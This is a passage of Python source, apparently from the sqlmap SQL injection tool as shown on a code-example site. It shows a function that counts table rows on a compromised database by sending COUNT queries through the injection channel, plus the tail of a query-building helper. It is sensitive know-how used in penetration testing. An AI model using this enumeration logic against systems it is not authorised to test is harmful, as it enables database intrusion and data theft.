            if "(IIF" not in caseExpression and Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not caseExpression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]):
                caseExpression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]

        return caseExpression
Example #30
0
    def _tableGetCount(self, db, table):
        if Backend.isDbms(DBMS.DB2):
            query = "SELECT %s FROM %s.%s--" % (
                queries[Backend.getIdentifiedDbms()].count.query % "*",
                safeSQLIdentificatorNaming(db.upper()),
                safeSQLIdentificatorNaming(table.upper(), True),
            )
        else:
            query = "SELECT %s FROM %s.%s" % (
                queries[Backend.getIdentifiedDbms()].count.query % "*",
                safeSQLIdentificatorNaming(db),
                safeSQLIdentificatorNaming(table, True),
            )

        count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

        if isNumPosStrValue(count):
            if safeSQLIdentificatorNaming(db) not in kb.data.cachedCounts:
                kb.data.cachedCounts[safeSQLIdentificatorNaming(db)] = {}

            if int(count) in kb.data.cachedCounts[safeSQLIdentificatorNaming(db)]:
                kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)].append(
                    safeSQLIdentificatorNaming(table, True)
                )
            else:
                kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)] = [
                    safeSQLIdentificatorNaming(table, True)
                ]